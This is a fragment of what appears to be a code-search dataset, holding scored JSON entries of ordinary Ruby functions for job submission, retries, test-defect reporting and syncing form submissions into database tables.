invite_status: invite_status,\n status_text: \"Failed\"\n )\n report_error(err)\n end\n end", "title": "" }, { "docid": "9877479bd2232e86d76c57846e1e3491", "score": "0.5052474", "text": "def retry_install\n Logger.arrow(\n 'Could not find a solution in local cache, refreshing packages...'\n )\n\n @git_resolver.clear\n resolver.add_constraints dependencies\n\n populate_elm_stuff\n rescue Solve::Errors::NoSolutionError => error\n puts 'Could not find a solution:'\n puts error.to_s.indent(2)\n end", "title": "" }, { "docid": "e1df6daa3929632041a61fee00c55e62", "score": "0.5048932", "text": "def perform(assignment, collaborator, retries: 0)\n return unless assignment.invitation.status(collaborator).waiting?\n service = CreateGitHubRepoService.new(assignment, collaborator)\n result = service.perform\n raise CreateGitHubRepoService::Result::Error, result.error if result.failed?\n rescue CreateGitHubRepoService::Result::Error => error\n handle_error(error.message, service, retries)\n end", "title": "" }, { "docid": "0dcd0b5c6ee76e05f3a41e6e7b3b6d2f", "score": "0.5045528", "text": "def working\n waiting.invert\n rescue ::Sequel::DatabaseError => e\n retry if on_error e\n end", "title": "" }, { "docid": "0ed89993b2fd24eb37e9790a6086a60f", "score": "0.5044568", "text": "def run\n case issue.action\n when \"opened\"\n job = PuppetLabs::Trello::TrelloIssueJob.new\n job.issue = issue\n delayed_job = job.queue\n logger.info \"Successfully queued up opened issue #{issue.repo_name}/#{issue.number} as job #{delayed_job.id}\"\n body = {\n 'job_id' => delayed_job.id,\n 'queue' => delayed_job.queue,\n 'priority' => delayed_job.priority,\n 'created_at' => delayed_job.created_at,\n }\n return [ACCEPTED, {}, body]\n else\n logger.info \"Ignoring issue #{issue.repo_name}/#{issue.number} because the action is #{issue.action}.\"\n body = { 'message' => 'Action has been ignored.' }\n return [OK, {}, body]\n end\n end", "title": "" }, { "docid": "e83e54df4441f794d197d4726baac777", "score": "0.50404036", "text": "def publish_test_results(test_category, test_phase, test_suite_result_list)\n ReportLog.entering(@@class_name, __method__.to_s)\n\n test_suite_result_list.each do |test_suite_result|\n test_suite_name = test_suite_result['TestSuiteName']\n test_count = test_suite_result['TestCount'].to_i\n error_count = test_suite_result['ErrorCount'].to_i\n failure_count = test_suite_result['FailureCount'].to_i\n\n pass_rate = 1 - (error_count.to_f + failure_count.to_f)/test_count.to_f\n\n input = Hash.new\n input[:RTCConfig] = data_for(:RTC_config)\n\n if pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:minor_threshold])\n # pass rate standard not met, create or update existing defect\n if pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:blocker_threshold])\n defect_severity = Constants::RTC_SEVERITY_BLOCKER\n elsif pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:major_threshold])\n defect_severity = Constants::RTC_SEVERITY_MAJOR\n elsif pass_rate < get_threshold_value(data_for(:RTC_defect_threshold)[:normal_threshold])\n defect_severity = Constants::RTC_SEVERITY_NORMAL\n else\n defect_severity = Constants::RTC_SEVERITY_MINOR\n end\n\n # Check from the TEST DB whether there is already an open defect for this test suite\n # if yes, update it\n # if no, create a new one\n\n # set up RTC client and run /getOpenTestAutoDefect API\n ReportLog.info('Pass rate beneath standard. Update existing open defect or create a new one.')\n ReportLog.info(\"Looking for open defect for test suite #{test_suite_name} ...\")\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_getOpenTestAutoDefect])\n @payload = JSON.generate(input)\n @params = Hash.new\n @params[Constants::PARAM_TEST_SUITE_NAME] = test_suite_name\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n @params = Hash.new\n @params[Constants::PARAM_TEST_CATEGORY] = test_category\n @params[Constants::PARAM_TEST_PHASE] = test_phase\n @params[Constants::PARAM_DEFECT_SEVERITY] = defect_severity\n input['TestSuiteResult'] = test_suite_result\n @payload = JSON.generate(input)\n if rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).nil?\n # no existing open defect, create a new one\n ReportLog.info('Open defect not found. Creating a new one...')\n # set up RTC client and run /createTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_createTestAutoDefect])\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_POST, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Created a new defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n else\n # existing open defect found, update it\n ReportLog.info('Open defect found. Updating its content...')\n # set up RTC client and run /updateTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_updateTestAutoDefect])\n @params[Constants::PARAM_DEFECT_NUM] = rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).fetch('Defect Number').to_s\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_POST, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Updated the open defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n else\n raise construct_api_failure_msg(rtc_client)\n end\n else\n # pass rate reached standard, close open defect automatically\n # Check from the TEST DB whether there is already an open defect for this test suite\n # if yes, close it\n # if no, do nothing, you are good\n\n # set up RTC client for /getOpenTestAutoDefect API\n ReportLog.info('Pass rate reached standard. Close open defect if there is any.')\n ReportLog.info(\"Looking for open defect for test suite #{test_suite_name} ...\")\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_getOpenTestAutoDefect])\n @payload = JSON.generate(input)\n @params = Hash.new\n @params[Constants::PARAM_TEST_SUITE_NAME] = test_suite_name\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n @params = Hash.new\n if rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).nil?\n # do nothing\n else\n # existing open defect found, close it\n ReportLog.info('Open defect found. Closing it...')\n # set up RTC client and run /closeTestAutoDefect API\n @api = RTCClientRestAPI.new(data_for(:RTC_client_api_url)[:RTC_REST_URL_closeTestAutoDefect])\n @params[Constants::PARAM_DEFECT_NUM] = rtc_client.response_body.fetch(Constants::JSON_KEY_RESULT).fetch('Defect Number').to_s\n @params[Constants::PARAM_COMMENT] = \"Closed defect upon test execution at #{test_suite_result['ExecutionTimestamp']} \"\n + \"from build #{test_suite_result['Build']['BuildName']} \"\n + \"with an acceptable pass rate of #{pass_rate}.\"\n @params[Constants::PARAM_BUILD_NAME] = test_suite_result['Build']['BuildName']\n rtc_client = RTCRestClient.new(Constants::REST_TYPE_PUT, @api, @params, @payload)\n rtc_client.run_api\n if rtc_client.run_successfully\n ReportLog.info('Closed the open defect.')\n ReportLog.info(\"RTC client response: #{rtc_client.response_body.to_s}\")\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n else\n raise construct_api_failure_msg(rtc_client)\n end\n end\n end\n ReportLog.exiting(@@class_name, __method__.to_s)\n end", "title": "" }, { "docid": "6635a1f6391fa56f5bfa8a34cc38148e", "score": "0.50402844", "text": "def run\n log.info(\"Running...\")\n result = run_internal()\n log.info(\"Success! #{result.message}\")\n return result\n end", "title": "" }, { "docid": "f251f954b6c1afd478ccc05594176563", "score": "0.50394636", "text": "def upload_code_to_codeporting\r\n puts \"Now adding new project to code porting\"\r\n\r\n\tto_url = \"https://apps.codeporting.com/csharp2java/v0/newproject\"\r\n\tboundary = \"------------------------------8ceeb9a4afbe0e1\"\r\n\t#$token = \"8f8112d5-50b5-4c10-83e9-1e1d7c33f848\"\r\n\tparams = {\r\n\t\t\"token\" => \"#{$token}\",\r\n\t\t\"Test\" => FileUploadIO.new(\"#{$repo_key}.zip\", \"application/zip\")\r\n\t} \r\n\tmultipart_post = MultiPart::Post.new(params) # MultiPart::Post.new(params, some_extra_headers)\r\n\tres, dat = multipart_post.submit(\"https://apps.codeporting.com/csharp2java/v0/newproject\") # multipart_post.submit(to_url, query_string)\r\n\t#puts res\r\n\r\n\tdoc = REXML::Document.new(dat)\r\n\tretVal = \"\"\r\n\tdoc.each_element('//return') { |item| \r\n\t\tretVal = item.attributes['success']\r\n\t}\r\n\r\n\tif (retVal == \"True\")\r\n\t\tport_code\r\n\tend\r\n end", "title": "" }, { "docid": "b15a8cd1169750c3eb5be1603baabb55", "score": "0.50310886", "text": "def verify_job_complete(base_64_urn,access_token)\n Timeout::timeout(120) do # 2 min\n loop do\n response = RestClient.get(\"#{API_URL}/modelderivative/v2/designdata/#{base_64_urn}/manifest\",\n { Authorization: \"Bearer #{access_token}\"} )\n json = JSON.parse(response.body)\n p \"Translate file to SVF - status: #{json['status']}, progress: #{json['progress']}\"\n \n return response if json[\"progress\"]==\"complete\"\n sleep 1\n end\n end\n end", "title": "" }, { "docid": "69d7f535db37e8d2c7e9a1463437398c", "score": "0.50251424", "text": "def run\n # rubocop:disable Style/SignalException\n # Parameter 'id' should be of type String\n\n id = unsafe_params[:id]\n fail \"App ID is not a string\" unless id.is_a?(String) && id != \"\"\n\n # Name should be a nonempty string\n name = unsafe_params[:name]\n fail \"Name should be a non-empty string\" unless name.is_a?(String) && name != \"\"\n\n # Inputs should be a hash (more checks later)\n inputs = unsafe_params[\"inputs\"]\n fail \"Inputs should be a hash\" unless inputs.is_a?(Hash)\n\n job_limit = params[:job_limit].to_f.zero? ? current_user.job_limit : params[:job_limit].to_f\n fail \"Job limit exceeds maximum user setting - #{current_user.job_limit}\" if job_limit > current_user.job_limit\n\n run_instance_type = unsafe_params[:instance_type]\n\n fail I18n.t(\"app_instance_type_forbidden\") unless current_user.resources.include?(run_instance_type)\n\n # App should exist and be accessible and runnable by a user.\n @app = App.find_by!(uid: id)\n\n fail I18n.t(\"app_not_accessible_or_runnable\") unless @app.runnable_by?(current_user)\n\n # Check if asset licenses have been accepted\n unless @app.assets.all? { |a| a.license.blank? || a.licensed_by?(@context) }\n fail \"Asset licenses must be accepted\"\n end\n\n # Call JupiterLab service if https app is running\n if @app.https?\n https_apps_client = DIContainer.resolve(\"https_apps_client\")\n input_info = input_spec_preparer.run(@app, inputs)\n\n fail input_spec_preparer.first_error unless input_spec_preparer.valid?\n\n result =\n begin\n https_apps_client.app_run(\n @app.dxid,\n name: name,\n instanceType: run_instance_type,\n jobLimit: job_limit,\n scope: Scopes::SCOPE_PRIVATE,\n input: input_info.run_inputs,\n )\n rescue HttpsAppsClient::Error => e\n fail e.message\n end\n\n job = Job.find_by!(dxid: result[\"dxid\"])\n\n render(json: { id: job.uid }) && return\n end\n\n space_id = unsafe_params[:space_id]\n\n fail \"Invalid space_id\" if space_id && !@app.can_run_in_space?(@context.user, space_id)\n\n space = Space.find_by(id: space_id)\n # Inputs should be compatible\n # (The following also normalizes them)\n input_info = input_spec_preparer.run(@app, inputs, space&.accessible_scopes)\n\n fail input_spec_preparer.first_error unless input_spec_preparer.valid?\n\n if space\n project = space.project_for_user(@context.user)\n permission = space.have_permission?(project, @context.user)\n fail \"You don't have permissions to run app in space #{space.name}\" unless permission\n else\n project = @context.user.private_files_project\n end\n\n job = job_creator(project).create(\n app: @app,\n name: name,\n input_info: input_info,\n run_instance_type: run_instance_type,\n job_limit: job_limit,\n scope: space&.uid,\n )\n\n SpaceEventService.call(space_id, @context.user_id, nil, job, :job_added) if space&.review?\n # rubocop:enable Style/SignalException\n\n render json: { id: job.uid }\n end", "title": "" }, { "docid": "fa23f153b33f54ecbbf55b45bee27424", "score": "0.5024157", "text": "def submit_job\n input_deck = generate_input_deck\n # results_script = generate_results_script\n\n if !input_deck.nil? #&& !results_script.nil?\n submit_script = generate_submit_script(input_deck: input_deck)\n # submit_script = generate_submit_script(input_deck: input_deck,\n # results_script: results_script)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n # self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n # self.submitted_at = '---'\n set_status! :f\n end\n end", "title": "" }, { "docid": "8d7238ad10d208c63e799e0eb90df7fd", "score": "0.50227475", "text": "def perform\n @processor = SubmissionProcessor.new(params: params)\n processor.process_submission\n build_output\n # Need to decide when to retry. See ingest_status as example\n rescue StandardError => e\n # processor.cleanup unless processor.blank?\n output(\n event: 'failed',\n message: \"#{e.message}\\n\\n#{e.backtrace.join('\\n')}\"\n )\n fail!\n end", "title": "" }, { "docid": "77b6ec9fdd4eaf1f77093a5e6fb71550", "score": "0.5022516", "text": "def generate_api_status()\n if Time.now.to_i - @last_api_status < API_STATUS_CHECK_IN_FREQUENCY\n Djinn.log_debug(\"Not enough time has passed since last time we \" +\n \"gathered API status - will try again later.\")\n return\n end\n\n if my_node.is_appengine?\n apichecker_host = my_node.private_ip\n else\n apichecker_host = get_shadow.private_ip\n end\n\n Djinn.log_debug(\"Generating new API status by contacting API checker \" +\n \"at #{apichecker_host}\")\n apichecker_url = \"http://#{apichecker_host}:#{ApiChecker::SERVER_PORT}/health/all\"\n\n retries_left = 3\n data = {}\n begin\n response = Net::HTTP.get_response(URI.parse(apichecker_url))\n data = JSON.load(response.body)\n\n if data.class != Hash\n Djinn.log_error(\"API status received from host at #{apichecker_url} \" +\n \"was not a Hash, but was a #{data.class.name} containing: #{data}\")\n return\n end\n rescue Exception => e\n Djinn.log_error(\"Couldn't get API status from host at #{apichecker_url}\")\n\n if retries_left > 0\n Kernel.sleep(5)\n retries_left -= 1\n retry\n else\n Djinn.log_warn(\"ApiChecker at #{apichecker_host} appears to be down - will \" +\n \"try again later.\")\n return\n end\n end\n\n majorities = {}\n\n data.each { |k, v|\n @api_status[k] = [] if @api_status[k].nil?\n @api_status[k] << v\n\n # If not enough API statuses are known yet, pad it with 'running' to avoid\n # accidentally claiming that an API has failed without sufficient evidence\n # of its failure.\n @api_status[k] = HelperFunctions.shorten_to_n_items(10, @api_status[k],\n \"running\")\n majorities[k] = HelperFunctions.find_majority_item(@api_status[k])\n }\n\n @last_api_status = Time.now.to_i\n\n json_state = JSON.dump(majorities)\n return json_state\n end", "title": "" }, { "docid": "0108e516e146305df35c22204305a01f", "score": "0.502017", "text": "def run_succeeded; end", "title": "" }, { "docid": "5f95771019cd654cc539c31aae4fb232", "score": "0.50170374", "text": "def execute(driver_parameters = nil)\r\n # get space slug from parameters and if not specified there, then from the info value\r\n space_slug = get_param(@parameters, driver_parameters)[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : get_param(@parameters, driver_parameters)[\"space_slug\"]\r\n if @info_values['api_server'].to_s.empty? == false then\r\n if @info_values['api_server'].include?(\"${space}\")\r\n api_server = @info_values['api_server'].gsub(\"${space}\", space_slug).chomp(\"/\")\r\n elsif !space_slug.to_s.empty?\r\n api_server = @info_values['api_server'].chomp(\"/\")+\"/\"+space_slug\r\n else\r\n api_server = @info_values['api_server'].chomp(\"/\")\r\n end\r\n end\r\n\r\n @error_handling = get_param(@parameters, driver_parameters)[\"error_handling\"]\r\n\r\n if @info_values[\"api_username\"].nil? == false then\r\n api_username = URI.encode(@info_values[\"api_username\"])\r\n api_password = @info_values[\"api_password\"]\r\n end\r\n\r\n submission_id = get_param(@parameters, driver_parameters)[\"submission_id\"]\r\n datastore = get_param(@parameters, driver_parameters)[\"datastore\"]\r\n submission_delete = get_param(@parameters, driver_parameters)[\"submission_deletion_timestamp\"]\r\n submission = get_param(@parameters, driver_parameters)[\"submission_json\"]\r\n submissions = get_param(@parameters, driver_parameters)[\"submissions\"]\r\n skip_table_create = get_param(@parameters, driver_parameters)[\"skip_table_create\"].to_s.strip.downcase\r\n \r\n datastore = datastore.to_s.strip.downcase\r\n\r\n error_message = nil\r\n error_backtrace = nil\r\n submission_database_id = nil\r\n submission_update_count = nil\r\n \r\n kapp_slug = nil\r\n form_slug = nil\r\n kapp_table_name = nil\r\n form_table_name = nil\r\n\r\n # Get kapp & form slug / datastore info.\r\n if submission.nil? == false then\r\n puts \"Submission driver_parameters: #{submission.inspect}\" if @enable_debug_logging\r\n kapp_slug = submission['form']['kapp']['slug'] if submission['form'].has_key?('kapp')\r\n form_slug = submission['form']['slug']\r\n elsif submissions.nil? == false then\r\n kapp_slug = submissions.first['form']['kapp']['slug'] if submissions.first['form'].has_key?('kapp')\r\n form_slug = submissions.first['form']['slug']\r\n end\r\n\r\n # Get what the form / kapp db table names will be\r\n if form_slug.nil? == false then\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if datastore != \"yes\" then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n end\r\n\r\n puts \"Submissions drivers_parameters: #{submissions.inspect}\" if @enable_debug_logging\r\n\r\n # If this is a bulk insert...\r\n if submissions.nil? == false then\r\n\r\n puts \"Starting bulk insert of #{submissions.size} submissions...\" if @enable_debug_logging\r\n\r\n submission_field_names = get_param(@parameters, driver_parameters)['field_names']\r\n\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n submissions.each { |submission|\r\n originId = nil\r\n parentId = nil\r\n if (submission['origin'].nil? == false && submission['origin'].has_key?('id')) then\r\n originId = submission['origin']['id']\r\n end\r\n if (submission['parent'].nil? == false && submission['parent'].has_key?('id')) then\r\n parentId = submission['parent']['id']\r\n end\r\n\r\n if kapp_slug.nil? == false then\r\n kapp_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_formSlug\" => form_slug,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n @kapp_fields.each do |field|\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n limited_value = submission['values'][field].nil? ? nil : submission['values'][field][0..@db_column_size_limits[:formField] - 1]\r\n kapp_submission[unlimited_field] = submission['values'][field]\r\n kapp_submission[limited_field] = limited_value\r\n end\r\n\r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n kapp_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n \r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n kapp_values_columns_map = kapp_submission\r\n .map {|k,v|\r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => :value}\r\n kapp_values = kapp_submission\r\n .map {|k,v|\r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n @db[kapp_table_name.to_sym].call(\r\n :insert,\r\n kapp_values,\r\n kapp_values_columns_map\r\n )\r\n end\r\n\r\n form_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n \r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n form_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # value.to_s is necessary for attachment and multi-value answers which are not stored as JSON strings\r\n submission['values'].each { |field,value|\r\n #ternary: if value is nil, use nil - else use the value converted to a string.\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n\r\n form_submission[unlimited_field] = value.nil? ? nil : value.to_s\r\n truncated_value = value.to_s[0,@db_column_size_limits[:formField] - 1]\r\n form_submission[limited_field] = value.nil? ? nil : truncated_value\r\n }\r\n\r\n # {\"c_id\" => value} -> {\"c_id\" => :$c_id, \"c_kappSlug\" => :$c_kappSlug}\r\n form_values_columns_map = form_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n\r\n form_values = form_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n @db[form_table_name.to_sym].call(\r\n :insert,\r\n #{\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n form_values,\r\n form_values_columns_map\r\n )\r\n\r\n }\r\n\r\n end\r\n\r\n #This is NOT a bulk insert...\r\n else\r\n\r\n db_column_size_limits = @db_column_size_limits\r\n kapp_fields = @kapp_fields\r\n submission_id = submission[\"id\"] if submission.nil? == false\r\n\r\n # If this is a deleted submission...\r\n if submission_delete.to_s.strip.size > 1 then\r\n\r\n form_slug = get_param(@parameters, driver_parameters)[\"form_slug\"]\r\n kapp_slug = get_param(@parameters, driver_parameters)[\"kapp_slug\"]\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if (datastore != \"yes\") then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n\r\n ce_submission = {\r\n :c_id => submission_id,\r\n :c_deletedAt => DateTime.parse(submission_delete)\r\n }\r\n\r\n # for both the kapp & form table...\r\n [kapp_table_name.to_s, form_table_name].each do |table_name|\r\n # Skip kapp table if this is a datastore record...\r\n if table_name.strip.empty? == false then\r\n # if the record does *not* exist in the table\r\n if @db[table_name.to_sym].select(:c_id).where(:c_id => submission_id).count == 0 then\r\n @db[table_name.to_sym].insert(ce_submission)\r\n # else, update it.\r\n else\r\n @db[table_name.to_sym].where(\r\n Sequel.lit('\"c_id\" = ?', submission_id\r\n )).update(ce_submission) unless @info_values['ignore_updates']\r\n end\r\n end\r\n end\r\n\r\n # If this is *not* a deleted submission...\r\n else\r\n\r\n #If passed in a submission id by the task engine, retrieve the submission information.\r\n if submission_id.nil? == false then\r\n api_route = \"#{api_server}/app/api/v1/#{datastore == \"yes\" ? \"datastore/\" : \"\"}submissions/#{submission_id}/?include=details,descendents,form,form.details,form.fields.details,type,form.kapp,values\"\r\n puts \"API ROUTE: #{api_route}\" if @enable_debug_logging\r\n resource = RestClient::Resource.new(api_route, { :user => api_username, :password => api_password })\r\n response = resource.get\r\n puts \"Retrieved CE Submission: #{response}\" if @enable_debug_logging\r\n submission = JSON.parse(response)['submission']\r\n submission_values = submission['values']\r\n form_definition = submission['form']\r\n form_slug = submission['form']['slug']\r\n kapp_slug = submission['form'].has_key?('kapp') ? submission['form']['kapp']['slug'] : nil\r\n else\r\n submission_values = submission['values']\r\n form_definition = submission['form']\r\n form_slug = submission['form']['slug']\r\n kapp_slug = submission['form'].has_key?('kapp') ? submission['form']['kapp']['slug'] : nil\r\n end\r\n\r\n # Get table names\r\n form_table_name = get_form_table_name(kapp_slug, form_slug)\r\n if datastore != \"yes\" then\r\n kapp_table_name = get_kapp_table_name(kapp_slug)\r\n end\r\n\r\n unlimited_column_names_by_field, limited_column_names_by_field = get_column_names(submission_values)\r\n\r\n if skip_table_create != \"yes\" then\r\n generate_column_def_table()\r\n generate_table_def_table()\r\n create_or_update_form_table({\r\n :form_slug => form_slug,\r\n :kapp_slug => kapp_slug,\r\n :submission => submission\r\n })\r\n if datastore != \"yes\" then\r\n generate_kapp_table(\r\n get_kapp_table_name(kapp_slug)\r\n )\r\n end\r\n\r\n insert_table_definition({\r\n :form_slug => form_slug,\r\n :kapp_slug => kapp_slug,\r\n :form_table_name => form_table_name,\r\n :submission => submission,\r\n :form_definition => form_definition\r\n })\r\n end\r\n\r\n originId = nil\r\n parentId = nil\r\n if (submission['origin'].nil? == false && submission['origin'].has_key?('id')) then\r\n originId = submission['origin']['id']\r\n end\r\n if (submission['parent'].nil? == false && submission['parent'].has_key?('id')) then\r\n parentId = submission['parent']['id']\r\n end\r\n\r\n #Kapp general submission DB transaction.\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n\r\n ce_submission = {\r\n \"c_id\" => submission['id'],\r\n \"c_formSlug\" => form_slug,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission['closedBy'],\r\n \"c_coreState\" => submission['coreState'],\r\n \"c_createdBy\" => submission['createdBy'],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_submittedBy\" => submission['submittedBy'],\r\n \"c_updatedBy\" => submission['updatedBy'],\r\n \"c_type\" => submission['type'],\r\n }\r\n kapp_fields.each do |field|\r\n unlimited_field = get_field_column_name(:unlimited => true, :field => field)\r\n limited_field = get_field_column_name(:unlimited => false, :field => field)\r\n limited_value = submission['values'][field].nil? ? nil : submission['values'][field][0..db_column_size_limits[:formField] - 1]\r\n ce_submission[unlimited_field] = submission['values'][field]\r\n ce_submission[limited_field] = limited_value\r\n end\r\n\r\n #only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n ce_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n submission_values_columns_map = ce_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values = ce_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n # if the record does not exist in the database, insert it.\r\n if datastore != \"yes\" then\r\n if @info_values['first_bulk_load'] || @db[kapp_table_name.to_sym].select(:c_id).where(:c_id => submission[\"id\"]).count == 0 then\r\n @db[kapp_table_name.to_sym].call(\r\n :insert,\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values,\r\n submission_values_columns_map\r\n )\r\n # else, update it.\r\n else\r\n @db[kapp_table_name.to_sym].where(\r\n Sequel.lit('\"c_id\" = ? and \"c_updatedAt\" < ?', submission['id'], ce_submission[:c_updatedAt]\r\n )).call(\r\n :update, \r\n db_submission_values,\r\n submission_values_columns_map\r\n ) unless @info_values['ignore_updates']\r\n end\r\n end\r\n\r\n #end general kapp submission database transaction\r\n end\r\n\r\n puts \"Submission values: (#{submission_values.inspect})\" if @enable_debug_logging\r\n\r\n #Form submission DB transaction.\r\n @db.transaction(:retry_on => [Sequel::SerializationFailure]) do\r\n\r\n # Once the table has been created/modified/verified, insert the submission into the table\r\n form_db_submission = {\r\n \"c_id\" => submission[\"id\"],\r\n \"c_originId\" => originId,\r\n \"c_parentId\" => parentId,\r\n \"c_anonymous\" => submission['sessionToken'],\r\n \"c_closedBy\" => submission[\"closedBy\"],\r\n \"c_coreState\" => submission[\"coreState\"],\r\n \"c_createdBy\" => submission[\"createdBy\"],\r\n \"c_submittedBy\" => submission[\"submittedBy\"],\r\n \"c_updatedBy\" => submission[\"updatedBy\"]\r\n }\r\n\r\n # only set the datetime values if they're not null, and set them as a proper datetime object.\r\n [\"closedAt\", \"createdAt\", \"submittedAt\", \"updatedAt\"].each do |actionTimestamp|\r\n form_db_submission[\"c_#{actionTimestamp}\"] = DateTime.parse(submission[actionTimestamp]) if submission[actionTimestamp].nil? == false\r\n end\r\n\r\n # value.to_s is necessary for attachment and multi-value answers which are not stored as JSON strings\r\n submission_values.each { |field,value|\r\n #ternary: if value is nil, use nil - else use the value converted to a string.\r\n form_db_submission[unlimited_column_names_by_field[field]] = value.nil? ? nil : value.to_s\r\n truncated_value = value.to_s[0,db_column_size_limits[:formField] - 1]\r\n form_db_submission[limited_column_names_by_field[field]] = value.nil? ? nil : truncated_value\r\n }\r\n\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {\"c_id\" => :$c_id, \"c_formSlug\" => :$c_formSlug}\r\n submission_values_columns_map = form_db_submission\r\n .map {|k,v| \r\n {k => \"$#{k}\".to_sym}\r\n }.reduce Hash.new, :merge\r\n # {\"c_id\" => value, \"c_formSlug\" => value} -> {:c_id => value, :c_formSlug => value}\r\n db_submission_values = form_db_submission\r\n .map {|k,v| \r\n {k.to_sym => v}\r\n }.reduce Hash.new, :merge\r\n\r\n puts \"Upserting the submission #{submission[\"id\"]}\" if @enable_debug_logging\r\n puts \"#{submission[\"id\"]} DB values: #{form_db_submission.inspect}\" if @enable_debug_logging\r\n db_submissions = @db[form_table_name.to_sym]\r\n if @info_values['first_bulk_load'] || db_submissions.select(:c_id).where(:c_id => submission[\"id\"]).count == 0 then\r\n submission_database_id = db_submissions.call(\r\n :insert,\r\n db_submission_values,\r\n submission_values_columns_map\r\n )\r\n puts \"Inserted the submission #{submission[\"id\"]}\" if @enable_debug_logging\r\n else\r\n submission_update_count = db_submissions.where(\r\n Sequel.lit('\"c_id\" = ? and \"c_updatedAt\" < ?', submission['id'], form_db_submission[:c_updatedAt])\r\n 